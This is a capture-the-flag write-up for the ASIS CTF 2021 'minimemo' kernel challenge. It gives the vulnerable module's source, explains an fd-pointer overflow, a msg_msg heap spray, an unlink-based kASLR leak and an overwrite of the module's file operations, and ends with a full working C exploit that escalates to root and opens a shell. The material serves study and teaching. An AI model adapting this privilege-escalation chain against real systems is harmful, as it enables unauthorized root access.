Mini Memo

Mini memo is a linux kernel heap challenge that is vulnerable to a 4-bytes buffer overflow of randomly generated bytes and a linked-list unlink corruption.

Files

The module

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/random.h>

#define DEVICE_NAME "memo"
#define NOTE_SIZE sizeof(note_t) // should have been 20 but it's 24
#define CMD_NEW  0x11451401
#define CMD_EDIT 0x11451402
#define CMD_DEL  0x11451403

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("minimemo - ASIS CTF 2021 Quals");

typedef struct {
  int id; // 0x4
  char data[20]; // 0x14
} note_t;

typedef struct notelist_t {
  note_t note;
  struct notelist_t *fd; // 0x8
  struct notelist_t *bk; // 0x8
} notelist_t;

typedef struct {
  char data[20];
  int id;
  int size;
} request_t;

notelist_t top = { .fd=&top, .bk=&top };

static long module_ioctl(struct file *filp,
                        unsigned int cmd, unsigned long arg) {
  request_t req;
  long result = -EINVAL;

  if (copy_from_user(&req, (void*)arg, sizeof(request_t)))
    return -EINVAL;

  switch (cmd)
    {
    case CMD_NEW: {
      notelist_t *new = (notelist_t*)kzalloc(sizeof(notelist_t), GFP_ATOMIC);
      do {
        get_random_bytes(&new->note.id, sizeof(new->note.id));
      } while (new->note.id <= 0);
      new->fd = top.fd;
      new->bk = &top;
      top.fd->bk = new;
      top.fd = new;
      result = new->note.id;
      break;
    }

    case CMD_EDIT: {
      notelist_t *cur;
      for (cur = top.fd; cur != &top; cur = cur->fd) {
        if (req.id == cur->note.id) {
          if (req.size < 0 || req.size >= NOTE_SIZE)
            break;
          memcpy(cur->note.data, req.data, req.size); //copies 23 bytes into 20 bytes buffer
          result = req.id;
          break;
        }
      }
      break;
    }

    case CMD_DEL: {
      notelist_t *cur;
      for (cur = top.fd; cur != &top; cur = cur->fd) {
        if (req.id == cur->note.id) {
          cur->bk->fd = cur->fd;
          cur->fd->bk = cur->bk;
          kfree(cur);
          result = req.id;
          break;
        }
      }
      break;
    }
  }

  return result;
}

static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .unlocked_ioctl = module_ioctl,
  };

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

Reading through the source code we can see it's possible to interact with 3 ioctl commands:

  • 0x11451401: Add a new note to the list (kzalloc)

  • 0x11451402: Edit a note in the list

  • 0x11451403: Remove a note from the list (kfree and unlink node)

Also, notice that the notes are carried within notelist_t objects in a doubly linked list.

typedef struct notelist_t {
  note_t note;
  struct notelist_t *fd; // 0x8
  struct notelist_t *bk; // 0x8
} notelist_t;

It's important to keep in mind that the nodes on the list have a randomly generated 4-bytes id instead of ordered indexes, and the way the algorithm selects the notes is by traversing through the list's fd pointers until it finds a node with the requested id.

Buffer overflow

In the edit command, when the user request is copied to the node's note_t object, the call to memcpy uses req.size as the size to copy, which is a user provided size. The provided size is checked against NOTE_SIZE , which is the size of the entire note_t structure (including note.id), which is 0x18 bytes long, but the data is copied to note.data, which is only 0x14 long. The check is passed if the provided is size is less than NOTE_SIZE, so 3 bytes will overflow into the 3 least significant bytes of the node's fd pointer.

          if (req.size < 0 || req.size >= NOTE_SIZE)
            break;
          memcpy(cur->note.data, req.data, req.size); //copies 23 bytes into 20 bytes buffer

The overflown bytes are also not controllable. Controlling the id of a chunk upon allocating it would be the only way of controlling those bytes but there is no overflow in copy_from_user when writing to the node_t structure, so the 3 bytes that will overwrite fd are the 3 least significant bytes of the randomly generated id. This is because, for the algorithm to be able to select a node in the list, the req.id field must match the desired chunk's id, so providing an arbitrary id would obviously fail.

Bruteforce LSB

A pretty simple way to work around this and have better control of the overflow is to allocate and deallocate new objects until we get and arbitrary id. In order to leverage this we would only need to control the LSB of the fd pointer, that should be enough to get the list to traverse to an arbitrary data on the slab, with the help of a heap spray we can pretty reliably control where the list traverses to and start to corrupt stuff.

If we bruteforce a LSB to garantee that the overwritten fd will point to a predictable address, we can spray msg_msg objects with a fake chunk in order to have one of them lying in our predictable address.

Defeating kASLR

Once we can make the list traverse to a fake chunk on the heap we can now fully control where it traverses to next, this allows us to, for example, to traverse to a mmaped region and have fully controllable objects in the list, which eases exploitation and helps with leaks.

For example, if we unlink a node adjacent to one of our mmap nodes we can start to leak pointers. We could leak a heap pointer, but that wouldn't be all that helpful, instead, we can try to have our controllable/readable chunk adjacent to a chunk with a pointer to the top of the list, which is an module address and can be used to defeat kASLR.

          cur->bk->fd = cur->fd;
          cur->fd->bk = cur->bk;

At this point we have the following layout:

If we delete the corrupted chunk and the fake chunk allocated with msg_msg, we can get the mmaped chunk's bk to point to the top of the list.

Then we can just read it out of the readable mmaped region.

Arbitrary write

At this point we have gained full control of the list, we can have as many chunks as we want and read/write to them as much as we want. If we make the list traverse to an arbitrary address we can pretty much write anywhere we want using the edit ioctl command. For this exploit I simply made the list traverse to a fake chunk whom data overlaps with the modules file operations structure, this way we can replace the ioctl callback with a pointer to our shellcode since SMEP and SMAP are off.

So next time we try to call ioctl on the module our shellcode will execute.

Final Exploit

#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <string.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <stdint.h>

#define CMD_NEW  0x11451401
#define CMD_EDIT 0x11451402
#define CMD_DEL  0x11451403

int dev;
int qid;

/* module structs */
typedef struct {
  char data[20];
  int id;
  int size;
} request_t;

typedef struct {
  int id;
  char data[20];
} note_t;

typedef struct notelist_t {
  note_t note;
  struct notelist_t *fd;
  struct notelist_t *bk;
} notelist_t;

note_t notes[10] = {NULL};

/* msg_req structs */
typedef struct {
    long mtype;
    char mtext[0x10000];
} msg;

msg msgbuf;

/* Backup registers */
unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip;

void bak(){
	__asm__(
		".intel_syntax noprefix;"
        "mov bak_cs, cs;"
        "mov bak_ss, ss;"
        "mov bak_rsp, rsp;"
        "pushf;"
        "pop bak_rflags;"
        ".att_syntax;"		
	);
	printf("[+]Registers backed up\n");
}

/* Helper functions */
int open_msg(){
    qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
}

int msgsend(int qid, void* msg, size_t size, int flag) {
    int res;

    if ((res = msgsnd(qid, msg, size, flag)) == -1) {
        perror("msgsnd");
        exit(-1);
    }
    return res;
}

int newmsg(int qid, char *data, unsigned int size){
    msgbuf.mtype = 1;
    memcpy(msgbuf.mtext, &data[0x30], size - 0x30);
    return msgsend(qid, &msgbuf, size-0x30, 0);
}

void open_dev(){
    dev = open("/dev/memo",O_RDWR);
    puts("[+]Interacting with device");
}

long new(int fd){
    request_t req;

    return ioctl(dev,CMD_NEW,&req);
}

long edit(int fd, int id, int size, char *data){
    request_t req = {
        .id = id,
        .size = size
    };
    memcpy(req.data, data, size);
    return ioctl(dev,CMD_EDIT,&req);
}

long delete(int fd, int id){
    request_t req = {
        .id = id
    };

    return ioctl(dev,CMD_DEL,&req);
}

long overflow(int fd, int id){
    request_t req = {
        .id = id,
        .size = 21    
    };

    return ioctl(dev,CMD_EDIT,&req);
}

void bin_sh(){
    printf("[+]UID: %d\n",getuid());
    system("/bin/sh");
    exit(0);
}
unsigned long bak_rip = (unsigned long)bin_sh;

void shellcode(){
    __asm__(
        ".intel_syntax noprefix;"

        // prepare_kernel_creds(0)
        "mov rbx, [rsp-0x4a8];"
        "sub rbx, 0x7aec2;"
        "xor rdi, rdi;"
        "call rbx;"
        "mov rdi, rax;"

        // commit_creds()
        "sub rbx, 0x190;"
        "call rbx;"

        // recover registers
        "swapgs;"
        "mov r15, bak_ss;"
        "push r15;"
        "mov r15, bak_rsp;"
        "push r15;"
        "mov r15, bak_rflags;"
        "push r15;"
        "mov r15, bak_cs;"
        "push r15;"
        "mov r15, bak_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"

    );
}

/* Exploit */
int main(){
    int c;
    int out;
    request_t reqst;
    unsigned long module_addr, top_addr, file_ops_addr, bss_func_ptr;

    /* Mapped region to add a userland object to the list */
    void* fake_chunk = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
                    MAP_ANON|MAP_FIXED|MAP_PRIVATE, -1, 0);

    /* Mapped region with pointers to shellcode */
    void* shellcode_ptr = mmap(0xdead000, 8, PROT_READ|PROT_WRITE|PROT_EXEC,
                    MAP_ANON|MAP_FIXED|MAP_PRIVATE, -1, 0);    

    char payload[0xf000];

    /* Copy pointer to shellcode to mapped region */
    *(unsigned long *)shellcode_ptr = shellcode;
    bss_func_ptr = 0xdead000;

    /* Craft fake note with a pointer to the mapped region */
    *(unsigned long *)(payload + 0x1010) = 0x1337000;
    *(unsigned long *)(payload + 0x1018) = 0x1337030;

    /* Backup userland registers */
    bak();

    open_dev();
    open_msg();

    /* Allocate initial notes and spray msg objects */
    notes[0].id = new(dev); //0
    printf("Note 0: 0x%x\n",notes[0].id);
    newmsg(qid, payload, 0x1032);
    notes[1].id = new(dev); //1
    printf("Note 1: 0x%x\n",notes[1].id);
    newmsg(qid, payload, 0x1032);
    notes[2].id = new(dev); //2
    printf("Note 2: 0x%x\n",notes[2].id);
    newmsg(qid, payload, 0x1032);

    /* Brute chunk with good LSB */
    while(1){
        notes[3].id = new(dev); //3
        if ((notes[3].id & 0xff) == 0xc0){
            printf("Note 3: 0x%x\n",notes[3].id);
            break;
        } else {
            delete(dev,notes[3].id);
        }
    }

    /* Overwrite LSB of notes[3] fd with a pointer to msg chunk */
    overflow(dev, notes[3].id);
    delete(dev, notes[3].id);
    *(unsigned int *)fake_chunk = notes[3].id;

    /* Unlink msg and leak the top node addr */
    delete(dev, 0);
    top_addr = *(unsigned long *)(fake_chunk + 32);
    module_addr = top_addr - 0x2100;
    file_ops_addr = module_addr + 0x2050;
    printf("[+]module leak: 0x%lx\n", module_addr);

    /* Arbitrary write */
    *(unsigned long *)(fake_chunk + 24) = file_ops_addr - 4;
    *(unsigned long *)(fake_chunk + 32) = top_addr;
    edit(dev, 0, 20, bss_func_ptr);

    /* Trigger shellcode */
    new(dev);

    return 0;
}

Last updated